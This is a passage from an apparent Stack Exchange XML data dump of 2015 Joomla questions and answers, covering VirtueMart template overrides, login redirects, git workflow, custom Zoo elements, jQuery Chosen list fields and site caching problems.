has an option called &quot;&lt;strong&gt;Page Layout&lt;/strong&gt;&quot;, with options: &lt;strong&gt;Categories&lt;/strong&gt;, or &lt;strong&gt;Default&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Categories&lt;/strong&gt; will display child categories of a parent category, while &lt;strong&gt;Default&lt;/strong&gt; will display products from a category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my menu item I have this set to categories, in order to display all categories.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clue 2:&lt;/strong&gt;&lt;br&gt;&#xA;All categories without a menu item dedicated to them, if clicked from that view, will open under that same itemid. However the view seems to inherits its page layout setting from that menu item (set to display categories) and won't display the products browse view of a selected category.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;I would like to avoid creating menu items for each category, as it would make it easier for the store owner to change the categories and those they will automatically be updated in the front-end, without touching menu items at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking to create overrides to deal with this, but first I would like to ensure that I am not missing anything obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you ever come across this situation with VM ? Or is it possible that this is a &quot;silly&quot; setting somewhere ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-05-17T11:40:06.143" Title="Virtuemart -From Root browse categories display to browse category products" Tags="|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7619" PostTypeId="2" ParentId="7618" CreationDate="2015-02-14T18:02:56.893" Score="2" Body="&lt;p&gt;Actually, following the override idea, is pretty simple - and I can't understand why the VM developers have left this as it is now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;Categories&lt;/strong&gt; template file of the &lt;strong&gt;Category Layout&lt;/strong&gt; view:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(components/com_virtuemart/views/category/tmpl/categories.php)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all is needed to create a continuity in the browsing workflow, is to add a line of code like:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;else { include ('template') } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently the categories template, checks if a category has other children categories and if yes, it will load them.&#xA;But there is nothing for the case that the category has no children categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the categories override template file, we can continue the if statement with an else, and include the default template, to display category's products, if the category has no more children categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The template will become like this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;category-&amp;gt;haschildren) {&#xA;&#xA;    // Calculating Categories Per Row&#xA;    //$categories_per_row = VmConfig::get ( 'categories_per_row', 3 );&#xA;&#xA;    // Start the Output&#xA;    echo ShopFunctionsF::renderVmSubLayout('categories',array('categories'=&amp;gt; $this-&amp;gt;category-&amp;gt;children));&#xA;&#xA;} &#xA;&#xA; // Add these lines to include the default template.&#xA;else {&#xA;    include('default.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you will copy both files inside the overrides folder of your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, adjust the settings of the Menu Item, to show products with your desired products layout.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-05-17T11:40:06.143" LastActivityDate="2016-05-17T11:40:06.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7620" PostTypeId="1" CreationDate="2015-02-14T18:20:53.577" Score="0" ViewCount="283" Body="&lt;p&gt;I am using a membership extension to manage the users on my site along with the native Joomla login module. They sign up using the membership extension and the initial time that they login they are redirected to the native Joomla profile page (&lt;a href=&quot;https://isls.encorelab.org/component/users/profile&quot; rel=&quot;nofollow&quot;&gt;https://isls.encorelab.org/component/users/profile&lt;/a&gt;) which does not contain any of the information they had just entered when they signed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is working fine for subsequent logins - they can only access the membership extension profile page (&lt;a href=&quot;https://isls.encorelab.org/members/member-profile&quot; rel=&quot;nofollow&quot;&gt;https://isls.encorelab.org/members/member-profile&lt;/a&gt;) which displays all of their information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make this initial login native Joomla profile never visible? Or make the initial login redirect to the extension profile page instead?&lt;/p&gt;&#xA;" OwnerUserId="3719" LastActivityDate="2015-02-15T14:28:26.270" Title="Change Profile Display Upon Initial Login" Tags="|php|administrator|login|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7621" PostTypeId="2" ParentId="7620" CreationDate="2015-02-14T18:26:52.220" Score="1" Body="&lt;p&gt;What do they use for login ? The joomla login module, the com_users login form, or your membership's extension login ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Login Module and com_users Login form, has settings for redirection after login. I don't know about your membership extension though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you use any of the core joomla options, make sure you set up the after login redirections as per your will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, in order to manipulate com_users (User Manager) login form redirection, you need to create a menu item for the login form. In the menu items settings you can control the redirection.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-14T18:26:52.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7622" PostTypeId="1" CreationDate="2015-02-14T18:39:13.727" Score="7" ViewCount="476" Body="&lt;p&gt;I have to work with some other people to develop a web site using Joomla. We will create our personal template and we will install and maybe modify some extensions or plugin. We will work in different cities mainly interacting via web and we will work locally having a central repository where saving our works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are thinking about what is the best strategy to keep our workflow under version control. We are thinking of using git but then some questions arise:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Should we track the entire Joomla folder?&lt;/li&gt;&#xA;&lt;li&gt;What about keeping track of the change in database?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2019-06-15T12:27:08.930" Title="Work under version control (git)" Tags="|workflow|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7623" PostTypeId="2" ParentId="7622" CreationDate="2015-02-15T14:04:15.883" Score="5" Body="&lt;p&gt;I can answer based on how we work at Virya Group - our CTO Marco Dings has been writing these up in a series of articles: &lt;a href=&quot;http://magazine.joomla.org/issues/issue-apr-2014/item/1842-practical-development-3-project&quot;&gt;http://magazine.joomla.org/issues/issue-apr-2014/item/1842-practical-development-3-project&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use Atlassian products - Jira, Stash, Confluence etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We set up our working environment as a vhost for each project - we're working on scripting this so it's quicker.  So each developer has their own local 'playground', and we set up dev.clientsite.com, staging.clientsite.com and then their live site, clientsite.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the vhost, we have a directory - vcs - and the web root - www.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use PHPStorm, and we install Joomla into the www directory, and map this to the corresponding web root on the dev/staging/live using remote hosts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A repository is set up on the project for the client, into this repository we put anything that &lt;em&gt;changes&lt;/em&gt; from the vanilla Joomla, and any extensions which are modified in any way, shape or form, including templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are symbolically linked from the VCS directory back into the www directory - so the files 'live' in the VCS repository, but they appear in the www folder as linked files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use LESS with our template base, and follow a BEM structure which we have in a separate repository.  This is cloned down for each project, and sym-linked as a new template.  Any client-specific customisations are then unique to this project, but we can merge in any future changes to all our projects with ease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people will version control the entire site, it really depends what you want to achieve.  We're interested in what changes, and we have sole control over that.  We create a customer-custom.css file which the customer can change, but everything else is off limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for database version control, that's something we're looking into.  We have played around with some options but haven't found anything that ticks all the boxes as yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use a bunch of scripts to automate all of the above, which we're developing and tweaking as we go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="3628" LastActivityDate="2015-02-15T14:04:15.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7624" PostTypeId="2" ParentId="7620" CreationDate="2015-02-15T14:28:26.270" Score="1" Body="&lt;p&gt;If the membership extension is already working and you already are using url rewrite, you could simply add a .htaccess rewrite rule. The benefit is that this would prevent people from accessing the profile page directly by simply writing it on the address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately you can do a template override on the Joomla com_users profile view that simply redirects it to the membership extensions member profile.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-02-15T14:28:26.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7625" PostTypeId="1" AcceptedAnswerId="8660" CreationDate="2015-02-15T15:48:28.427" Score="0" ViewCount="474" Body="&lt;p&gt;I'm trying to create a custom Zoo element based on the Quick2Cart element, but I'm realizing  that there's a reason I'm not a programmer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The quick2cart guys have helped a little bit by giving me this snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getitemid($product_id,$client)&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;    $query = &quot;SELECT `item_id` FROM `#__kart_items`  where `product_id`=&quot;.(int)$product_id. &quot; AND parent='$client'&quot;;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadResult();&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't quite figure out how to write the element so it renders. All I really want is for the element to check to see if the item is for sale (meaning, it's set up in Quick2cart and is considered a product). If so, I want to display a little &quot;Buy it!&quot; badge that links to the zoo item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current Quick2Cart Zoo element has lots of extra stuff in it so I can't simply duplicate it or I'd end up with issues in the edit screen of the zoo item. I don't really want any interface at all for the element. All I really want is an &quot;if it's a product, show this&quot; kind of thing.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-02-17T15:38:48.327" Title="Create a custom zoo element to show a badge if product is in Quick2Cart already" Tags="|joomla-3.3.x|zoo-cck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7626" PostTypeId="2" ParentId="7608" CreationDate="2015-02-15T18:37:29.387" Score="3" Body="&lt;p&gt;Go to your &lt;strong&gt;Virtuemart&lt;/strong&gt; -&gt; &lt;strong&gt;Configuration&lt;/strong&gt; -&gt; &lt;strong&gt;Templates tab&lt;/strong&gt; and locate the following setting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vkRY6.jpg&quot; alt=&quot;VirtueMart Template settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then change the setting of &quot;Use Fancybox&quot;. If it is checked, try unchecking it, and vice verse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;VirtueMart includes two systems for product display - Fancybox and Facebox. Fancybox is more advanced, but will in some cases cause javascript conflicts with some templates and/or extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see if there's any conflict, press &lt;kbd&gt;F12&lt;/kbd&gt; in your browser to load the developer tools. You should be able to see any Javascript conflicts in the console.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-15T18:37:29.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7627" PostTypeId="2" ParentId="7614" CreationDate="2015-02-15T19:03:05.180" Score="1" Body="&lt;p&gt;The Model is not intended to save anything (I am not talking about model cache), because that is a job for session. That is why model very often uses User State to retrieve some data form the session, for example the states of different filters.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-15T19:03:05.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7628" PostTypeId="1" AcceptedAnswerId="7644" CreationDate="2015-02-16T07:02:16.893" Score="4" ViewCount="3485" Body="&lt;p&gt;I want to override a controller inside a component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;File path : components/com_test/controllers/test.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I override test.php ?&lt;/p&gt;&#xA;" OwnerUserId="3713" LastEditorUserId="115" LastEditDate="2015-12-28T10:29:25.573" LastActivityDate="2015-12-28T10:29:25.573" Title="How to override a component's controller" Tags="|joomla-3.x|component|overrides|controller|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7630" PostTypeId="2" ParentId="7628" CreationDate="2015-02-16T09:18:41.477" Score="2" Body="&lt;p&gt;It is a complex solution. This plugin should help:&#xA;&lt;a href=&quot;http://extensions.joomla.org/profile/extension/style-a-design/templating/plugin-override&quot; rel=&quot;nofollow&quot;&gt;Plugin to override 3rd Component controllers, models and views and Modules.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can read about overrides in Joomla docs:&#xA;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;How to override the component mvc from the Joomla! core&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-16T09:18:41.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7633" PostTypeId="1" AcceptedAnswerId="7636" CreationDate="2015-02-16T11:10:54.143" Score="1" ViewCount="1790" Body="&lt;p&gt;I have two Joomla list fields (drop-down fields). The the second list field is depending on the value of the first list field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've tried to change the values of the second form field via jQuery on runtime. But this methode fails, because the value can be seen by the browser inspector, but it wont be shown in the form field (seems that Joomla has its own method to display option fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addScriptDeclaration('&#xA;    jQuery(document).ready(function () {&#xA;        jQuery(&quot;#jform_country&quot;).change(function(){&#xA;            country_id = jQuery(&quot;#&quot; + this.id).val(); // this is the first list field&#xA;            select = document.getElementById(&quot;#jform_state&quot;);&#xA;            if (country_id == &quot;Germany&quot;) {&#xA;                // Option 1 will be shown, but only in the inspector&#xA;                jQuery(&quot;#jform_state&quot;).append(&quot;&amp;lt;option value=Bavaria&amp;gt;Bavaria&amp;lt;/option&amp;gt;&quot;);&#xA;                // Option 2 nothing happens&#xA;                var option = document.createElement(&quot;option&quot;);&#xA;                option.text = &quot;Bavaria&quot;;&#xA;                option.value = &quot;Bavaria&quot;;&#xA;                select.appendChild(option);&#xA;            }    &#xA;        })&#xA;    });&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a possibility to fill the list field on runtime resp. to change the values?&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2015-02-16T14:32:17.993" Title="Joomla list form field change values on runtime" Tags="|joomla-3.x|jquery|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7635" PostTypeId="1" CreationDate="2015-02-16T13:27:31.413" Score="3" ViewCount="570" Body="&lt;p&gt;After installing JCE 2.4.6  on Joomla  3.3.6, when entering edit mode my Apache2.4 installed by  XAMPP 3.2.1 crashes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After disabling compression setting in &lt;strong&gt;JCE Administration :: Editor Global Configuration&lt;/strong&gt;, it just works fine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uC9mD.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Is there any way to enable it?&lt;/p&gt;&#xA;" OwnerUserId="3724" LastEditorUserId="126" LastEditDate="2016-01-21T23:31:13.630" LastActivityDate="2016-05-25T08:36:22.503" Title="Why setting JCE css and javascript compression setting, apache crashes?" Tags="|apache|jce|compression|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7636" PostTypeId="2" ParentId="7633" CreationDate="2015-02-16T14:27:12.853" Score="3" Body="&lt;p&gt;If you are using &quot;Chosen&quot; for your selects then you should trigger &quot;Chosen&quot; to update the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#jform_state&quot;).append(&quot;&amp;lt;option value=Bavaria&amp;gt;Bavaria&amp;lt;/option&amp;gt;&quot;);&#xA;jQuery(&quot;#jform_state&quot;).trigger(&quot;liszt:updated&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The most recent version of &quot;Chosen&quot; uses a slightly different event:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;trigger(&quot;chosen:updated&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in Joomla 3 (at the moment of writing up to 3.4) the version of &quot;Chosen&quot; is older, so you should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;trigger(&quot;liszt:updated&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2015-02-16T14:32:17.993" LastActivityDate="2015-02-16T14:32:17.993" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7637" PostTypeId="1" AcceptedAnswerId="7638" CreationDate="2015-02-16T15:28:26.310" Score="2" ViewCount="210" Body="&lt;p&gt;I used the procedure of this answer ( &lt;a href=&quot;https://joomla.stackexchange.com/a/7613/1685&quot;&gt;https://joomla.stackexchange.com/a/7613/1685&lt;/a&gt; ) to backup my site on a local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the extraction and the installation in a subdir (&lt;code&gt;/var/www/html/my_dir/&lt;/code&gt;) of the localhost path (&lt;code&gt;/var/www/html/&lt;/code&gt;). The entire procedure gave me no errors but if I access to the local site (&lt;code&gt;localhost/my_dir&lt;/code&gt;) I see the homepage exactly as it should be but other pages are wrongly linked. If a click to a link to page2 the browser go to &lt;code&gt;localhost/index.php/page&lt;/code&gt; instead of going to &lt;code&gt;localhost/my_dir/index.php/page&lt;/code&gt; and clearly a get a &quot;Not found&quot; error message. If I go manually (typing the right address) to page2, the page looks correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there is some option that has to be setted to let joomla recognise that I have a subdir but I don't know how to set it.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-02-17T14:56:46.663" Title="Akeeba Backup wrong paths" Tags="|akeebabackup|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7638" PostTypeId="2" ParentId="7637" CreationDate="2015-02-16T16:15:18.913" Score="1" Body="&lt;p&gt;I'm not too sure of the technical terms and why this will work, but I would suggest creating a Virtual Host. Using this will allow you to use a domain (so to speak), such as &lt;code&gt;joomla.loc&lt;/code&gt; which you can map to the existing Joomla installation directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using sub-directories for websites can start causing lots of issues, especially with CMS's such as Jomla or Wordress, therefore when creating a new installation on the same server, it's best to use subdomains (live host) or virtual host (localhost).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following tutorials that have been compiled for different environments can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/4157/168&quot;&gt;https://joomla.stackexchange.com/a/4157/168&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-02-16T16:15:18.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7639" PostTypeId="1" AcceptedAnswerId="7643" CreationDate="2015-02-16T18:46:00.790" Score="0" ViewCount="184" Body="&lt;p&gt;I have read that if you enable the plugin &quot;System - cache&quot;, the speed of your joomla website increases a lot...&#xA;I have done it, and it's true, but some navs' css and the Slider dissapears...&#xA;Do you know why...?&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="3573" LastEditDate="2015-02-16T22:23:00.013" LastActivityDate="2015-07-27T13:22:19.533" Title="Trying to increase my joomla website speed" Tags="|joomla-2.5|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7640" PostTypeId="2" ParentId="7639" CreationDate="2015-02-16T18:51:58.363" Score="0" Body="&lt;p&gt;No, not unless you share a link to your site &lt;em&gt;or&lt;/em&gt; a Codepen with a sample of the code from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the very least you might want to mention the exact version of Joomla you are using, what template you have as the default and what slider extension you are using. We're not mind readers…&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-02-16T18:51:58.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7641" PostTypeId="2" ParentId="7607" CreationDate="2015-02-16T18:59:19.513" Score="0" Body="&lt;p&gt;Assuming you want to display data from the extra fields inside the latest.php, then :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the appropriate foreach loop that goes through your content items and prints out each k2 item go as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $extra = json_decode($item-&amp;gt;extra_fields); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$extra will be an array with the extra fields and their values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&#xA;&amp;lt;?php print_r($extra); ?&amp;gt;&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-02-16T20:21:54.877" LastActivityDate="2015-02-16T20:21:54.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7642" PostTypeId="1" CreationDate="2015-02-16T20:36:04.690" Score="1" ViewCount="396" Body="&lt;p&gt;I have set up a page called &lt;code&gt;domain.com/tags.html&lt;/code&gt; on the root which links to the com_tags component and shows a set of tags most used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to use the Popular tag cloud module, &lt;code&gt;mod_tags_popular&lt;/code&gt;, together these two sections should show the same URL for the same tag, but they don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the component menu item, I can see the URL for a tag as:&lt;br&gt;&#xA;&lt;a href=&quot;http://domain.com/tags/tag/19-tagx.html&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/tags/tag/19-tagx.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in the module as:&lt;br&gt;&#xA;&lt;a href=&quot;http://domain.com/component/tags/tag/19-tagx.html&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/component/tags/tag/19-tagx.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What seems to be wrong here?&lt;/p&gt;&#xA;" OwnerUserId="1803" LastEditorUserId="1803" LastEditDate="2015-02-17T13:08:41.110" LastActivityDate="2015-02-17T13:08:41.110" Title="Remove /components/ from Popular Tags Cloud module" Tags="|component|module|jroute|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7643" PostTypeId="2" ParentId="7639" CreationDate="2015-02-16T21:46:23.923" Score="0" Body="&lt;p&gt;JCH Optimize of one of those plugins that you will have to tinker the settings for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me to get it working, I set the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Defer javascript = &lt;strong&gt;Yes&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Combine JavaScript Files - &lt;strong&gt;Yes&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Manage combined files - &lt;strong&gt;Combine files in one&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Exclude all extensions - &lt;strong&gt;No&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will prevent any errors being thrown&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-16T21:46:23.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7644" PostTypeId="2" ParentId="7628" CreationDate="2015-02-17T07:12:25.130" Score="3" Body="&lt;p&gt;Overwrite a controller is something that I don´t dare to do, even it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you try to use another approach&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt; – Modifying the controller to add an event trigger and ask the developer to include it in the next version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As explained here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://techjoomla.com/joomla-development/adding-plugin-triggers-in-your-extensions-how-a-why.html&quot; rel=&quot;nofollow&quot;&gt;https://techjoomla.com/joomla-development/adding-plugin-triggers-in-your-extensions-how-a-why.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, you´ll need to hack a core file of the component and of course this change will be lost when upgrading, but if you need it, is likely that is it good for other too,  so the developer can be willing to insert that event trigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2&lt;/strong&gt; – Create a small component to handle your stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can easily overwrite the templates of com_test, you can change the call to your own controller /com_mytest.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in there, you can do whatever you need and return control to com_test when ready.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-02-17T07:12:25.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7645" PostTypeId="2" ParentId="7639" CreationDate="2015-02-17T07:36:55.070" Score="0" Body="&lt;p&gt;From the errors it looks like the vanishing css files are ones that are generated from &lt;a href=&quot;http://lesscss.org/&quot; rel=&quot;nofollow&quot;&gt;less&lt;/a&gt; or similar preprocessor and cached in the media folder by the extension (&quot;nextend?&quot;). The important part is that the generated cache files have automatically generated unique names that change every time the extension generates them. Which should happen whenever the settings for the extension change. The old version of the cached file is deleted and references to it return now a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now obviously the pages cached by the system plugin do not automatically update to use the new name, and will use the old filename and fail to load them with 404 error. The solution is to purge cache whenever you change the settings and the dynamically generated files change. I think there are extensions that add a clear cache button to the administartor to make this less annoying.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-02-17T07:36:55.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7646" PostTypeId="1" AcceptedAnswerId="7649" CreationDate="2015-02-17T09:21:15.730" Score="3" ViewCount="3788" Body="&lt;p&gt;I would like to know what should I implement in my htaccess file for making my website faster and secure.&#xA;What do you recommend me?&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-10-08T06:05:04.137" Title="&quot;Perfect&quot; .htaccess for Joomla 2.5" Tags="|joomla-2.5|.htaccess-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7648" PostTypeId="1" CreationDate="2015-02-17T09:43:36.360" Score="0" ViewCount="712" Body="&lt;p&gt;When I open the console in &lt;a href=&quot;http://ganeshgrow.es&quot; rel=&quot;nofollow&quot;&gt;http://ganeshgrow.es&lt;/a&gt;, I find these errors: &lt;a href=&quot;http://gyazo.com/08e16657ef89f7c8ee0423fcc57b44fb&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/08e16657ef89f7c8ee0423fcc57b44fb&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know what could it be? I have already installed &lt;strong&gt;JQuery Easy&lt;/strong&gt; and &lt;strong&gt;JCH Optimize&lt;/strong&gt;.&lt;br&gt;&#xA;So, I guess it's not a jquery conflict...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="126" LastEditDate="2015-05-08T13:18:57.600" LastActivityDate="2015-05-09T04:57:44.280" Title="Javascript errors in console - jQuery Easy - JCH Optimize" Tags="|joomla-2.5|jquery|error-reporting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
